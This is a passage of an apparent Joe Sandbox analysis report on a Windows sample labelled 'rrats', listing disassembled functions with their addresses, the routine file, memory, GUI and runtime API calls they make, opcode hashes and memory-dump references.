Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: a6911dc62e7ea2487d6642fef465f896f9d048dd987071edd187a1614696d68c
Instruction ID: 8326a9fa10847b2be58e35ee6c3387fa97d6c916d03bf65f0100788cebc6d5e6
Opcode Fuzzy Hash: a6911dc62e7ea2487d6642fef465f896f9d048dd987071edd187a1614696d68c
Instruction Fuzzy Hash: E541CF305043438FDB34DF15F5865AAB7E5FBD6718F148A2EE8A283260D770AE458B61

Function 00CCBA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00CC97E5: GetLastError.KERNEL32(?,00CE1098,00CC4674,00CE1098,?,?,00CC40EF,?,?,00CE1098), ref: 00CC97E9
Part of subcall function 00CC97E5: _free.LIBCMT ref: 00CC981C
Part of subcall function 00CC97E5: SetLastError.KERNEL32(00000000,?,00CE1098), ref: 00CC985D
Part of subcall function 00CC97E5: _abort.LIBCMT ref: 00CC9863

Part of subcall function 00CCBB4E: _abort.LIBCMT ref: 00CCBB80
Part of subcall function 00CCBB4E: _free.LIBCMT ref: 00CCBBB4

Part of subcall function 00CCB7BB: GetOEMCP.KERNEL32(00000000,?,?,00CCBA44,?), ref: 00CCB7E6

_free.LIBCMT ref: 00CCBA9F
_free.LIBCMT ref: 00CCBAD5

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 0aa05f4efde5c916709959787294f2dc7c52eea238b1a0dab8dd1136dbdd7147
Instruction ID: 2ac9841de90c678c7fc9d914c852aca8e6e3e50586e18738530482f033867ee2
Opcode Fuzzy Hash: 0aa05f4efde5c916709959787294f2dc7c52eea238b1a0dab8dd1136dbdd7147
Instruction Fuzzy Hash: 0131B631904209AFDB10EFE9D446F9DB7F5EF40320F25409EE9549B2A2EB329E45EB50

Function 00CA1E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA1E55

Part of subcall function 00CA3BBA: __EH_prolog.LIBCMT ref: 00CA3BBF

_wcslen.LIBCMT ref: 00CA1EFD

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 52cf5d35fdef34b401ef253f5eca2eb5a4e9cf32667f7e0b9356782d6aebe2fa
Instruction ID: ec4268c25746a2dc193b7fef3fca47dd43f184ae0746ea50b409f9e658b91bdf
Opcode Fuzzy Hash: 52cf5d35fdef34b401ef253f5eca2eb5a4e9cf32667f7e0b9356782d6aebe2fa
Instruction Fuzzy Hash: E4317A7190424AAFCF11DF98D955AEEBBF6BF09304F24006EF845A7251CB325E00DB60

Function 00CA9DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00CA73BC,?,?,?,00000000), ref: 00CA9DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00CA9E70

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 6dca8e7239a7c81993cfe4a33acc5279718348e3f153fb8b37b06952a76f5777
Instruction ID: 02bdfcfc4330122cc2bb46f624630084cfa334420d4c10ee8aa659808a3331a9
Opcode Fuzzy Hash: 6dca8e7239a7c81993cfe4a33acc5279718348e3f153fb8b37b06952a76f5777
Instruction Fuzzy Hash: 4421D2312492469BC714CF34C492AABBBE4EF56308F08491DF4D587151D339EA4C9B62

Function 00CA966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00CA9F27,?,?,00CA771A), ref: 00CA96E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00CA9F27,?,?,00CA771A), ref: 00CA9716

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f2447513e94661ea6b15516d194e6ef03063c4e61daab4a69ac431dda3fd9bdd
Instruction ID: fde1b36afc92f7dc3b0b0c2c5d51ba37b2c696322a7d52a0fe8018eaa8bb42d4
Opcode Fuzzy Hash: f2447513e94661ea6b15516d194e6ef03063c4e61daab4a69ac431dda3fd9bdd
Instruction Fuzzy Hash: E021CFB11007456FE3708A65CC8ABE7B7DCEF4A328F100A19FAA6C61D1C774A9849631

Function 00CA9E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00CA9EC7
GetLastError.KERNEL32 ref: 00CA9ED4

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3079eba4a550e81371bad2d1c3e086984c46d0c9071644d94481ae5038256e44
Instruction ID: eb3217e0c59380d224cdc218d4cd61a8ccb525f830594c7ce9713221139e3357
Opcode Fuzzy Hash: 3079eba4a550e81371bad2d1c3e086984c46d0c9071644d94481ae5038256e44
Instruction Fuzzy Hash: B311E570600706ABD724C629CC42BA6B7E8EB46364F544A29E563D26D1D770EE45C760

Function 00CC8E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CC8E75

Part of subcall function 00CC8E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CC4286,?,0000015D,?,?,?,?,00CC5762,000000FF,00000000,?,?), ref: 00CC8E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00CE1098,00CA17CE,?,?,00000007,?,?,?,00CA13D6,?,00000000), ref: 00CC8EB1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: a8b744473fde5bc5433a219189c93fdfe4da232df3c26d20875711fdda9ffacf
Instruction ID: 29a2eed75e1b94908cb53bde9ce9d2ea9c217d5b8a8575170bfb803c8c5ff984
Opcode Fuzzy Hash: a8b744473fde5bc5433a219189c93fdfe4da232df3c26d20875711fdda9ffacf
Instruction Fuzzy Hash: C5F0213A60110566CB212A2ADC05FAF375CCFC2770F55012DF82497191DF71CE04A1A0

Function 00CB109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00CB10AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 00CB10B2

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 253f64a2752f3694e8c7e7debffe9e71f6738264fdf63d993fd0895d07630e4d
Instruction ID: 83b3ca13fdfddc602e8bf99415219872a3d5de13031281507f68c0836879ca68
Opcode Fuzzy Hash: 253f64a2752f3694e8c7e7debffe9e71f6738264fdf63d993fd0895d07630e4d
Instruction Fuzzy Hash: 03E0D832B10185A7CF0997B4AC15AEF73EDEA44204B188176EC13D3101F934EF414760

Function 00CAE648 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00CA13B6,?,00CE1098,00CA13B6), ref: 00CAE678
LoadStringW.USER32(00CA13B6,?,00CE1098), ref: 00CAE68F

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 2ef9645bf2284300d1a51cd18da3014fbb2a301dda0bf00bd916d93341ba821d
Instruction ID: b997df481fc70d0263bf256c87dc4e5fcd263012c0ccbe6036a5f2744567053b
Opcode Fuzzy Hash: 2ef9645bf2284300d1a51cd18da3014fbb2a301dda0bf00bd916d93341ba821d
Instruction Fuzzy Hash: F5F0F876100299BBCF111FA1EC04EAF7F69EF1A3947048415FE188A220D6328970EBE0

Function 00CAA4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CAA325,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA501

Part of subcall function 00CABB03: _wcslen.LIBCMT ref: 00CABB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CAA325,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA532

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 700f7bc483269ef9f32f540b0b5bc078b69e8c904031551d6366052646a86bd6
Instruction ID: a1177e5b6625da57317e09edb4fdffd53282b339027e8cff585b328b6f7f4563
Opcode Fuzzy Hash: 700f7bc483269ef9f32f540b0b5bc078b69e8c904031551d6366052646a86bd6
Instruction Fuzzy Hash: 22F0393224024ABBDF015F60DC45FDE3BACAB05789F888062B949D6160DB71DF98EA65

Function 00CAA1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,00CA977F,?,?,00CA95CF,?,?,?,?,?,00CD2641,000000FF), ref: 00CAA1F1

Part of subcall function 00CABB03: _wcslen.LIBCMT ref: 00CABB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00CA977F,?,?,00CA95CF,?,?,?,?,?,00CD2641), ref: 00CAA21F

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: b2a5138ddf844dfc5315a2162918383e67322da012c5012d1a172bc7e58f5643
Instruction ID: e511136b5bcd46315caf47c1acdd58d5ad91512591086a619ce92fbe6bcfdd86
Opcode Fuzzy Hash: b2a5138ddf844dfc5315a2162918383e67322da012c5012d1a172bc7e58f5643
Instruction Fuzzy Hash: 89E0923514020A6BDB015F60DC45FDE379CAB09785F484021B949D2050EB61DE98EA65

Function 00CBAC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00CD2641,000000FF), ref: 00CBACB0
CoUninitialize.COMBASE(?,?,?,?,00CD2641,000000FF), ref: 00CBACB5

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: a1b6a0b5997c2d4f86e5c5a6a13338ab6d83040b2d605e96ef50362f111b2808
Instruction ID: a98ae74203f2d5aaeb2b85cbbd162b6231aa8e0db11f5a89e04075cb85cffeeb
Opcode Fuzzy Hash: a1b6a0b5997c2d4f86e5c5a6a13338ab6d83040b2d605e96ef50362f111b2808
Instruction Fuzzy Hash: 49E06572504650EFC7009B58DC46B49FBACFB88B20F00426AF416D37A0CB74A801CA95

Function 00CAA243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00CAA23A,?,00CA755C,?,?,?,?), ref: 00CAA254

Part of subcall function 00CABB03: _wcslen.LIBCMT ref: 00CABB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00CAA23A,?,00CA755C,?,?,?,?), ref: 00CAA280

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 261d46f67ce0f21cba8bf5ce5cabd0bec294324c092a14e24b285c243a26797e
Instruction ID: f86576aa38e3041fee3fa81fe1ae213f610e785259a7b0c37ba6c094237f844f
Opcode Fuzzy Hash: 261d46f67ce0f21cba8bf5ce5cabd0bec294324c092a14e24b285c243a26797e
Instruction Fuzzy Hash: 76E092315001245BCB50AB64DC09BE97B98AB0D3E5F044261FD59E3190D770DE44CAA1

Function 00CBDEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CBDEEC

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

SetDlgItemTextW.USER32(00000065,?), ref: 00CBDF03

Part of subcall function 00CBB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CBB579
Part of subcall function 00CBB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CBB58A
Part of subcall function 00CBB568: IsDialogMessageW.USER32(0001046A,?), ref: 00CBB59E
Part of subcall function 00CBB568: TranslateMessage.USER32(?), ref: 00CBB5AC
Part of subcall function 00CBB568: DispatchMessageW.USER32(?), ref: 00CBB5B6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 1610d030a23cc808b109370afcf15c2246594188c2cfabb45a92c841476a5f31
Instruction ID: 491766edba2a3d1c4d00e06ccb89996b0b0ba846c22dfaae2acf46582c249073
Opcode Fuzzy Hash: 1610d030a23cc808b109370afcf15c2246594188c2cfabb45a92c841476a5f31
Instruction Fuzzy Hash: BAE0D8B240038D2ADF02AB60DC07FDE3BAC9B05789F040851B205EB0F3DA78EA14A771

Function 00CB081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CB0836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CAF2D8,Crypt32.dll,00000000,00CAF35C,?,?,00CAF33E,?,?,?), ref: 00CB0858

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: d884e75d5a783cccfc8f7189b8d786a28d50963914016e3b8b07e73dba185825
Instruction ID: 7de1448d144bc4672e2e2cd13836fd5492be9851b478ab42395583664c9046ab
Opcode Fuzzy Hash: d884e75d5a783cccfc8f7189b8d786a28d50963914016e3b8b07e73dba185825
Instruction Fuzzy Hash: D0E04F768011686BDB11ABA4DC49FDB7BACFF097D1F040066B649E2044DA74EF84CBB0

Function 00CBA3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00CBA3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00CBA3E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 5547c8ef3c87d8783d9156778135fec0879bd5ae3c9f9917d889cc4dc0b1ef46
Instruction ID: f84a387e1cfec4a92455aa0481fdf45e12910402f0e5a2bd0425e8469ff496ad
Opcode Fuzzy Hash: 5547c8ef3c87d8783d9156778135fec0879bd5ae3c9f9917d889cc4dc0b1ef46
Instruction Fuzzy Hash: 15E0ED71500218EBCB10DF55C5416D9BBE8EF04760F10805AA99693211E374AE44DBA1

Function 00CC2B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CC2BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00CC2BB5

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 378f96bd0d964ee3a7223b8ccf5ba6cd78930245e9a872515626fc50e8f69641
Instruction ID: c7455d5be9e04bfba86586052cbafc87900aa3627f069572d09c9cbc4fccbe21
Opcode Fuzzy Hash: 378f96bd0d964ee3a7223b8ccf5ba6cd78930245e9a872515626fc50e8f69641
Instruction Fuzzy Hash: 0FD022341643009A8C147E75F82BF5D3385AD41B70BA083DEF033894C1EE1099C0B021

Function 00CA12F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00CA1306
ShowWindow.USER32(00000000), ref: 00CA130D

Memory Dump Source

